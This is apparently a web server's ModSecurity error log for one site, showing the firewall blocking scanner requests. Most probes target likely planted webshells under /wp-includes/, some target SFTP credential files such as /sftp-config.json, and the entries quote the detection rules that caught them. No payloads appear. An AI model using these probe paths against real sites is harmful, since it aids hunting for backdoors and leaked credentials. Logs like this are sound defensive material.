[Sun Mar 01 04:33:11.866723 2026] [:error] [pid 24576:tid 24593] [client 85.203.15.102:21475] [client 85.203.15.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aaNRB4vfb5CnctJh073AWAAAAQ0"]
[Sun Mar 01 04:33:13.093346 2026] [:error] [pid 21159:tid 21225] [client 85.203.15.157:45617] [client 85.203.15.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aaNRCeLi3ouy1NZIkgoHngAAAIQ"]
[Sun Mar 01 04:33:13.671156 2026] [:error] [pid 24576:tid 24586] [client 85.203.15.224:38279] [client 85.203.15.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aaNRCYvfb5CnctJh073AWgAAAQc"]
[Sun Mar 01 04:33:16.109857 2026] [:error] [pid 21158:tid 21214] [client 85.203.15.160:48393] [client 85.203.15.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aaNRDDriSIe3-pWnbPbNCgAAAFU"]
[Sun Mar 01 04:33:17.296128 2026] [:error] [pid 21156:tid 21171] [client 85.203.15.172:30245] [client 85.203.15.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aaNRDasaG_9IkG8N2p3adQAAAAU"]
[Sun Mar 01 04:33:18.199798 2026] [:error] [pid 21263:tid 21289] [client 85.203.15.151:31281] [client 85.203.15.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aaNRDtAxjzLvN1upBhm5hwAAANY"]
[Sun Mar 01 04:33:20.915588 2026] [:error] [pid 21263:tid 21287] [client 81.199.26.67:53919] [client 81.199.26.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aaNRENAxjzLvN1upBhm5mAAAANQ"]
[Sun Mar 01 04:33:21.847952 2026] [:error] [pid 21156:tid 21184] [client 81.199.26.60:23695] [client 81.199.26.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aaNREasaG_9IkG8N2p3ajAAAABI"]
[Sun Mar 01 04:33:22.790809 2026] [:error] [pid 21158:tid 21197] [client 81.199.26.62:41301] [client 81.199.26.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aaNREjriSIe3-pWnbPbNGgAAAEQ"]
[Sun Mar 01 04:33:23.408895 2026] [:error] [pid 21263:tid 21274] [client 85.203.15.99:56257] [client 85.203.15.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aaNRE9AxjzLvN1upBhm5rgAAAMc"]
[Sun Mar 01 04:33:24.798023 2026] [:error] [pid 21158:tid 21198] [client 85.203.15.221:25401] [client 85.203.15.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aaNRFDriSIe3-pWnbPbNIwAAAEU"]
[Sun Mar 01 04:33:26.872106 2026] [:error] [pid 21263:tid 21272] [client 85.203.15.153:26601] [client 85.203.15.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aaNRFtAxjzLvN1upBhm5wgAAAMU"]
[Sun Mar 01 04:33:28.479854 2026] [:error] [pid 21158:tid 21204] [client 81.199.26.67:24067] [client 81.199.26.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aaNRGDriSIe3-pWnbPbNLwAAAEs"]
[Sun Mar 01 04:33:30.662635 2026] [:error] [pid 21159:tid 21224] [client 85.203.15.166:48439] [client 85.203.15.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aaNRGuLi3ouy1NZIkgoH3QAAAIM"]
[Sun Mar 01 04:33:31.888995 2026] [:error] [pid 21159:tid 21236] [client 85.203.15.228:44447] [client 85.203.15.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aaNRG-Li3ouy1NZIkgoH6gAAAI8"]
[Sun Mar 01 04:33:33.386921 2026] [:error] [pid 21158:tid 21215] [client 85.203.15.171:24269] [client 85.203.15.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aaNRHTriSIe3-pWnbPbNRAAAAFY"]
[Sun Mar 01 04:33:33.969580 2026] [:error] [pid 24576:tid 24584] [client 81.199.26.57:31499] [client 81.199.26.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aaNRHYvfb5CnctJh073AdAAAAQU"]
[Sun Mar 01 04:33:34.858616 2026] [:error] [pid 24576:tid 24597] [client 85.203.15.171:44127] [client 85.203.15.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aaNRHovfb5CnctJh073AfgAAARE"]
[Sun Mar 01 04:33:36.000738 2026] [:error] [pid 21263:tid 21272] [client 85.203.15.168:35185] [client 85.203.15.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aaNRH9AxjzLvN1upBhm57QAAAMU"]
[Sun Mar 01 04:33:37.195527 2026] [:error] [pid 24576:tid 24595] [client 85.203.15.162:25517] [client 85.203.15.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aaNRIYvfb5CnctJh073AjAAAAQ8"]
[Sun Mar 01 04:33:37.860418 2026] [:error] [pid 21263:tid 21277] [client 85.203.15.225:37089] [client 85.203.15.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aaNRIdAxjzLvN1upBhm5-gAAAMo"]
[Sun Mar 01 04:33:38.745507 2026] [:error] [pid 21159:tid 21236] [client 85.203.15.222:33671] [client 85.203.15.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaNRIuLi3ouy1NZIkgoIAgAAAI8"]
[Sun Mar 01 04:33:40.353924 2026] [:error] [pid 24576:tid 24583] [client 81.199.26.54:31219] [client 81.199.26.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aaNRJIvfb5CnctJh073AmAAAAQQ"]
[Sun Mar 01 04:33:41.630861 2026] [:error] [pid 24576:tid 24589] [client 85.203.15.99:26157] [client 85.203.15.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aaNRJYvfb5CnctJh073AowAAAQo"]
[Sun Mar 01 04:33:42.769234 2026] [:error] [pid 24576:tid 24601] [client 85.203.15.160:52383] [client 85.203.15.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aaNRJovfb5CnctJh073ArQAAARU"]
[Sun Mar 01 04:33:43.375000 2026] [:error] [pid 24576:tid 24594] [client 81.199.26.70:48541] [client 81.199.26.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aaNRJ4vfb5CnctJh073AtgAAAQ4"]
[Sun Mar 01 04:33:43.974591 2026] [:error] [pid 24576:tid 24582] [client 81.199.26.56:64095] [client 81.199.26.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aaNRJ4vfb5CnctJh073AuQAAAQM"]
[Sun Mar 01 04:33:45.361405 2026] [:error] [pid 21263:tid 21275] [client 85.203.15.152:21831] [client 85.203.15.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aaNRKdAxjzLvN1upBhm6EgAAAMg"]
[Sun Mar 01 04:33:47.616268 2026] [:error] [pid 24576:tid 24592] [client 85.203.15.166:49393] [client 85.203.15.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aaNRK4vfb5CnctJh073A1AAAAQw"]
[Sun Mar 01 04:33:49.493331 2026] [:error] [pid 21263:tid 21291] [client 85.203.15.157:61143] [client 85.203.15.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aaNRLdAxjzLvN1upBhm6HwAAANg"]
[Sun Mar 01 04:33:51.869720 2026] [:error] [pid 21158:tid 21208] [client 85.203.15.166:25527] [client 85.203.15.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aaNRLzriSIe3-pWnbPbNYAAAAE8"]
[Sun Mar 01 04:33:54.771798 2026] [:error] [pid 21263:tid 21269] [client 81.199.26.67:34987] [client 81.199.26.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aaNRMtAxjzLvN1upBhm6PQAAAMI"]
[Sun Mar 01 04:33:55.361795 2026] [:error] [pid 21159:tid 21232] [client 85.203.15.100:36741] [client 85.203.15.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aaNRM-Li3ouy1NZIkgoINQAAAIs"]
[Sun Mar 01 04:41:17.991556 2026] [:error] [pid 21159:tid 21223] [client 103.65.236.153:49687] [client 103.65.236.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aaNS7eLi3ouy1NZIkgoMGgAAAII"]
[Sun Mar 01 04:41:18.217011 2026] [:error] [pid 21159:tid 21237] [client 103.65.236.153:49707] [client 103.65.236.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aaNS7uLi3ouy1NZIkgoMGwAAAJA"]
[Sun Mar 01 05:20:29.472374 2026] [:error] [pid 21156:tid 21184] [client 101.32.15.141:36734] [client 101.32.15.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaNcHasaG_9IkG8N2p3pCAAAABI"]
[Sun Mar 01 05:26:42.365293 2026] [:error] [pid 8688:tid 8706] [client 20.220.13.5:28593] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaNdkjHJ4Nn-RvulD0qIdgAAAVA"]
[Sun Mar 01 05:26:43.681527 2026] [:error] [pid 8688:tid 8709] [client 20.220.13.5:28594] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aaNdkzHJ4Nn-RvulD0qIggAAAVM"]
[Sun Mar 01 05:26:45.608850 2026] [:error] [pid 8688:tid 8690] [client 20.220.13.5:28595] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaNdlTHJ4Nn-RvulD0qIlAAAAUA"]
[Sun Mar 01 05:26:46.717591 2026] [:error] [pid 21158:tid 21203] [client 20.220.13.5:28487] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/lv.php"] [unique_id "aaNdljriSIe3-pWnbPbhyAAAAEo"]
[Sun Mar 01 05:26:48.055153 2026] [:error] [pid 8688:tid 8713] [client 20.220.13.5:28481] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/help.php"] [unique_id "aaNdmDHJ4Nn-RvulD0qIrAAAAVc"]
[Sun Mar 01 05:26:48.881810 2026] [:error] [pid 21263:tid 21272] [client 20.220.13.5:28490] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/help.php"] [unique_id "aaNdmNAxjzLvN1upBhnk2wAAAMU"]
[Sun Mar 01 05:26:49.713728 2026] [:error] [pid 8688:tid 8690] [client 20.220.13.5:28502] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/help.php"] [unique_id "aaNdmTHJ4Nn-RvulD0qIswAAAUA"]
[Sun Mar 01 05:26:50.536650 2026] [:error] [pid 21263:tid 21281] [client 20.220.13.5:28587] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/help.php"] [unique_id "aaNdmtAxjzLvN1upBhnk5gAAAM4"]
[Sun Mar 01 06:24:46.817071 2026] [:error] [pid 35654:tid 35678] [client 212.102.59.175:43933] [client 212.102.59.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaNrLkIPeuEwCTirofJwuwAAA9Q"]
[Sun Mar 01 06:24:47.757378 2026] [:error] [pid 34785:tid 34800] [client 212.102.59.175:9318] [client 212.102.59.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaNrL4C4dBNEGEcJx-NhawAAAw0"]
[Sun Mar 01 06:24:50.188378 2026] [:error] [pid 21158:tid 21208] [client 212.102.59.175:60912] [client 212.102.59.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaNrMjriSIe3-pWnbPb0CQAAAE8"]
[Sun Mar 01 06:24:51.145095 2026] [:error] [pid 35060:tid 35066] [client 212.102.59.175:46339] [client 212.102.59.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaNrM5L8JPoS_tq-tiXyuwAAA0Q"]
[Sun Mar 01 06:24:53.689888 2026] [:error] [pid 35350:tid 35357] [client 212.102.59.175:8641] [client 212.102.59.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaNrNYqZbPJ_JGYY1RTgSwAAA4U"]
[Sun Mar 01 06:24:54.615761 2026] [:error] [pid 21158:tid 21194] [client 212.102.59.175:48442] [client 212.102.59.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaNrNjriSIe3-pWnbPb0DAAAAEE"]
[Sun Mar 01 06:24:57.063455 2026] [:error] [pid 35654:tid 35676] [client 212.102.59.175:24137] [client 212.102.59.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaNrOUIPeuEwCTirofJw0wAAA9I"]
[Sun Mar 01 06:24:57.995169 2026] [:error] [pid 35350:tid 35355] [client 212.102.59.175:11126] [client 212.102.59.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaNrOYqZbPJ_JGYY1RTgZAAAA4M"]
